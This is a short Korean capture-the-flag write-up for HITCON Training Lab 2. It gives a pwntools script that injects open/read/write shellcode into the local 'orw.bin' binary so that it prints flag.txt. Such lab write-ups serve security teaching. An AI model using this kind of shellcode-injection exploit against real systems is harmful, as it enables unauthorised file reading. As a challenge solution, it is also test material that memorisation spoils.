HITCON Training - LAB 2

orw.bin이란 파일을 ida로 열고 main함수를 보면 shellcode를 입력받는다.

pwntools를 사용하여 문제를 풀면된다.

 

 

 

 

from pwn import *

p = process("orw.bin")
 
payload = ""
payload += asm(shellcraft.open("./flag.txt"))
payload += asm(shellcraft.read("eax", "esp", 24))
payload += asm(shellcraft.write(1, "esp", 24))

p.recvuntil("shellcode: ") 
p.sendline(payload)
p.interactive()